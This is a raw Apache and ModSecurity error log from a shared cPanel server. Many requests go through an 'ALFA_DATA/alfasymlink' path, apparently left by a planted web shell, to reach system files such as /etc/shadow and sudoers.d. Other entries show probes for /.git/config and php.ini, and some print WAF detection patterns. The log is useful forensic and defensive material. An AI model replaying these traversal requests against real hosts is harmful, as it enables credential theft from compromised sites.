[Sat Oct 24 15:21:42.170933 2026] [core:error] [pid 2684517:tid 2684517] (13)Permission denied: [client 3.209.174.110:21040] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/devices/virtual/input/mice/subsystem/input1/event1/subsystem/input3/device/drvctl
[Sat Oct 24 15:21:46.161619 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 52.2.4.213:60583] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:22:18.250138 2026] [core:error] [pid 2684557:tid 2684557] (13)Permission denied: [client 3.216.13.10:46022] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/i2c-0/device/subsystem/drivers/8250_lpss/new_id
[Sat Oct 24 15:22:22.156082 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 35.169.240.53:21345] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:22:25.758401 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 144.76.19.24:35516] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/1/maps
[Sat Oct 24 15:22:38.161576 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 34.199.252.22:10037] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:22:44.787930 2026] [core:error] [pid 2684557:tid 2684557] (13)Permission denied: [client 16.216.88.191:28672] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/shadow
[Sat Oct 24 15:22:46.344121 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 54.166.126.132:36687] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:22:47.661820 2026] [security2:error] [pid 2677776:tid 2677776] [client 34.139.102.100:63080] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at0Fh2ZJIyiQiKFtr2-51AAAABU"]
[Sat Oct 24 15:22:47.662179 2026] [security2:error] [pid 2677776:tid 2677776] [client 34.139.102.100:63080] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at0Fh2ZJIyiQiKFtr2-51AAAABU"]
[Sat Oct 24 15:22:47.662236 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.139.102.100:63088] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "recursos3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at0Fhz8oejtZfsaip1YlJgAAABE"]
[Sat Oct 24 15:22:47.662485 2026] [security2:error] [pid 2677776:tid 2677776] [client 34.139.102.100:63080] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at0Fh2ZJIyiQiKFtr2-51AAAABU"]
[Sat Oct 24 15:22:47.662536 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.139.102.100:63088] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at0Fhz8oejtZfsaip1YlJgAAABE"]
[Sat Oct 24 15:22:47.662806 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.139.102.100:63088] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at0Fhz8oejtZfsaip1YlJgAAABE"]
[Sat Oct 24 15:22:47.662902 2026] [security2:error] [pid 2677776:tid 2677776] [client 34.139.102.100:63080] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at0Fh2ZJIyiQiKFtr2-51AAAABU"]
[Sat Oct 24 15:22:47.663165 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.139.102.100:63088] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at0Fhz8oejtZfsaip1YlJgAAABE"]
[Sat Oct 24 15:22:48.645277 2026] [core:error] [pid 2684517:tid 2684517] (13)Permission denied: [client 185.191.171.10:24468] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/signal_cache/alloc_calls
[Sat Oct 24 15:22:50.240481 2026] [ssl:error] [pid 2684559:tid 2684559] (70014)End of file found: [client 54.235.191.179:28222] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:22:52.434432 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 85.208.96.203:48544] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:22:54.212731 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 54.159.18.27:53966] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:22:55.218169 2026] [core:crit] [pid 2677786:tid 2677786] (13)Permission denied: [client 40.124.83.171:36760] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:22:58.150096 2026] [ssl:error] [pid 2684557:tid 2684557] (70014)End of file found: [client 98.84.131.195:31103] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:23:10.174051 2026] [ssl:error] [pid 2684517:tid 2684517] (70014)End of file found: [client 34.236.135.14:38615] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:23:14.133816 2026] [ssl:error] [pid 2684559:tid 2684559] (70014)End of file found: [client 52.3.104.214:53509] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:23:26.135286 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 3.94.199.128:24723] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:23:34.036290 2026] [core:crit] [pid 2677843:tid 2677843] (13)Permission denied: [client 188.215.235.44:57188] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 15:23:38.163355 2026] [ssl:error] [pid 2684517:tid 2684517] (70014)End of file found: [client 100.24.149.244:15432] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:23:50.174319 2026] [core:error] [pid 2678927:tid 2678927] (13)Permission denied: [client 18.215.112.101:63158] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/wakeup/wakeup8/device/subsystem/drivers/ec/uevent
[Sat Oct 24 15:23:54.359658 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 52.45.92.83:54579] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:23:58.149921 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 52.44.148.203:55295] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:24:10.264037 2026] [ssl:error] [pid 2684517:tid 2684517] (70014)End of file found: [client 54.84.169.196:35320] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:24:14.747486 2026] [security2:error] [pid 2684559:tid 2684559] [client 85.208.96.208:45082] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/cache/dnf/appstream-7992bedf6cf283a9/mirrorlist"] [unique_id "at0F3mkXczIhwr7_wp9EAQAAAA0"]
[Sat Oct 24 15:24:14.747524 2026] [security2:error] [pid 2684559:tid 2684559] [client 85.208.96.208:45082] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/cache/dnf/appstream-7992bedf6cf283a9/mirrorlist"] [unique_id "at0F3mkXczIhwr7_wp9EAQAAAA0"]
[Sat Oct 24 15:24:18.319560 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 54.156.55.147:19654] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:24:22.154994 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 98.84.200.43:30748] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:24:26.668806 2026] [core:crit] [pid 2677788:tid 2677788] (13)Permission denied: [client 16.216.88.74:12288] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/sssd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/sssd/' is executable
[Sat Oct 24 15:24:26.687781 2026] [core:crit] [pid 2677788:tid 2677788] (13)Permission denied: [client 16.216.88.74:12288] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/dhcp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/dhcp/' is executable
[Sat Oct 24 15:24:26.705978 2026] [core:crit] [pid 2677788:tid 2677788] (13)Permission denied: [client 16.216.88.74:12288] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/sudoers.d/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/sudoers.d/' is executable
[Sat Oct 24 15:24:26.899200 2026] [core:crit] [pid 2677788:tid 2677788] (13)Permission denied: [client 16.216.88.74:12288] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/grub.d/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/grub.d/' is executable
[Sat Oct 24 15:24:26.906359 2026] [core:crit] [pid 2677788:tid 2677788] (13)Permission denied: [client 16.216.88.74:12288] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/nftables/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/nftables/' is executable
[Sat Oct 24 15:24:26.925648 2026] [core:crit] [pid 2677788:tid 2677788] (13)Permission denied: [client 16.216.88.74:12288] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/audit/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/audit/' is executable
[Sat Oct 24 15:24:26.939450 2026] [core:crit] [pid 2677788:tid 2677788] (13)Permission denied: [client 16.216.88.74:12288] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/firewalld/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/firewalld/' is executable
[Sat Oct 24 15:24:27.115296 2026] [core:crit] [pid 2677788:tid 2677788] (13)Permission denied: [client 16.216.88.74:12288] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/csf/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/csf/' is executable
[Sat Oct 24 15:24:27.226786 2026] [core:crit] [pid 2677788:tid 2677788] (13)Permission denied: [client 16.216.88.74:12288] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/named/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/named/' is executable
[Sat Oct 24 15:24:34.154148 2026] [ssl:error] [pid 2684517:tid 2684517] (70014)End of file found: [client 35.174.141.243:37769] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:24:38.140559 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 54.225.199.17:16708] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:24:58.241628 2026] [security2:error] [pid 2684517:tid 2684517] [client 100.29.160.53:40397] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:01/PNP0303:00/power/"] [unique_id "at0GCsCPy-URSwxIVqbriQAAAAI"]
[Sat Oct 24 15:24:58.241673 2026] [security2:error] [pid 2684517:tid 2684517] [client 100.29.160.53:40397] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:01/PNP0303:00/power/"] [unique_id "at0GCsCPy-URSwxIVqbriQAAAAI"]
[Sat Oct 24 15:25:10.382274 2026] [core:error] [pid 2677786:tid 2677786] (13)Permission denied: [client 185.191.171.12:61714] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/audit_tree_mark/reclaim_account
[Sat Oct 24 15:25:26.416348 2026] [ssl:error] [pid 2684559:tid 2684559] (70014)End of file found: [client 44.215.61.66:62339] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:25:30.141269 2026] [ssl:error] [pid 2684557:tid 2684557] (70014)End of file found: [client 100.29.34.97:17006] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:25:38.155442 2026] [security2:error] [pid 2677786:tid 2677786] [client 18.213.102.186:5715] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/LNXSYBUS:01/subsystem/devices/device:01/PNP0303:00/physical_node1/input/input1/event1/"] [unique_id "at0GMoQ_eexIMgmxi-uRUgAAAAE"]
[Sat Oct 24 15:25:38.155505 2026] [security2:error] [pid 2677786:tid 2677786] [client 18.213.102.186:5715] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/LNXSYBUS:01/subsystem/devices/device:01/PNP0303:00/physical_node1/input/input1/event1/"] [unique_id "at0GMoQ_eexIMgmxi-uRUgAAAAE"]
[Sat Oct 24 15:25:46.343620 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 98.84.200.43:22352] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:25:48.717061 2026] [authz_core:error] [pid 2684583:tid 2684583] [client 151.247.127.168:36749] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 15:25:50.168131 2026] [ssl:error] [pid 2684559:tid 2684559] (70014)End of file found: [client 34.199.252.22:11807] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:25:52.073704 2026] [authz_core:error] [pid 2684557:tid 2684557] [client 151.247.127.168:39935] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 15:25:55.318061 2026] [security2:error] [pid 2684559:tid 2684559] [client 85.208.96.212:54234] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/vc4-hdmi.conf"] [unique_id "at0GQ2kXczIhwr7_wp9EBgAAAA0"]
[Sat Oct 24 15:25:55.318436 2026] [security2:error] [pid 2684559:tid 2684559] [client 85.208.96.212:54234] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/vc4-hdmi.conf"] [unique_id "at0GQ2kXczIhwr7_wp9EBgAAAA0"]
[Sat Oct 24 15:25:55.318831 2026] [security2:error] [pid 2684559:tid 2684559] [client 85.208.96.212:54234] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/alsa/cards/vc4-hdmi.conf"] [unique_id "at0GQ2kXczIhwr7_wp9EBgAAAA0"]
[Sat Oct 24 15:25:58.259532 2026] [core:error] [pid 2678927:tid 2678927] (13)Permission denied: [client 52.45.15.233:51194] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/i2c-0/device/subsystem/drivers/8250_lpss/unbind
[Sat Oct 24 15:26:10.149438 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 98.82.214.73:12980] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:26:13.467326 2026] [core:error] [pid 2677843:tid 2677843] (13)Permission denied: [client 185.191.171.5:25132] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_io_end/object_size
[Sat Oct 24 15:26:13.640962 2026] [authz_core:error] [pid 2684557:tid 2684557] [client 68.183.164.62:47970] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 15:26:14.176023 2026] [ssl:error] [pid 2677775:tid 2677775] (5)Input/output error: [client 54.159.98.248:11197] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:26:22.145642 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 52.71.203.206:35934] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:26:28.036695 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 185.191.171.16:16390] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:26:46.150051 2026] [ssl:error] [pid 2678927:tid 2678927] (70014)End of file found: [client 52.203.65.83:9607] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:27:05.445849 2026] [security2:error] [pid 2684557:tid 2684557] [client 85.208.96.196:46280] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/vconsole.conf"] [unique_id "at0GiSLwkWVVQiyMc7N8PwAAAAs"]
[Sat Oct 24 15:27:05.446300 2026] [security2:error] [pid 2684557:tid 2684557] [client 85.208.96.196:46280] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/vconsole.conf"] [unique_id "at0GiSLwkWVVQiyMc7N8PwAAAAs"]
[Sat Oct 24 15:27:05.446630 2026] [security2:error] [pid 2684557:tid 2684557] [client 85.208.96.196:46280] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/vconsole.conf"] [unique_id "at0GiSLwkWVVQiyMc7N8PwAAAAs"]
[Sat Oct 24 15:27:18.166102 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 18.213.240.226:60171] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:27:22.140637 2026] [ssl:error] [pid 2677776:tid 2677776] (5)Input/output error: [client 34.234.200.207:8507] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:27:26.179414 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 44.221.180.179:44945] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:27:30.284606 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 3.220.148.166:40572] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:27:46.193036 2026] [ssl:error] [pid 2684559:tid 2684559] (70014)End of file found: [client 23.21.175.228:45196] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:28:14.145976 2026] [ssl:error] [pid 2684557:tid 2684557] (70014)End of file found: [client 44.195.50.71:7632] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:28:26.229834 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 3.213.106.226:28609] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:28:30.192543 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 18.205.91.101:46958] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:28:38.200771 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 184.72.84.154:61999] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:28:46.201201 2026] [ssl:error] [pid 2678927:tid 2678927] (5)Input/output error: [client 3.232.39.98:33703] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:28:46.441174 2026] [ssl:error] [pid 2684517:tid 2684517] (70014)End of file found: [client 185.191.171.12:48012] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:28:54.200179 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 98.84.131.195:34848] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:28:58.145042 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 44.209.89.189:35796] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:29:02.270989 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 34.203.111.15:16717] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:29:18.158836 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 34.236.41.241:50296] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 15:29:30.146529 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 52.204.37.237:18320] AH02013: coalesce failed to read from data bucket
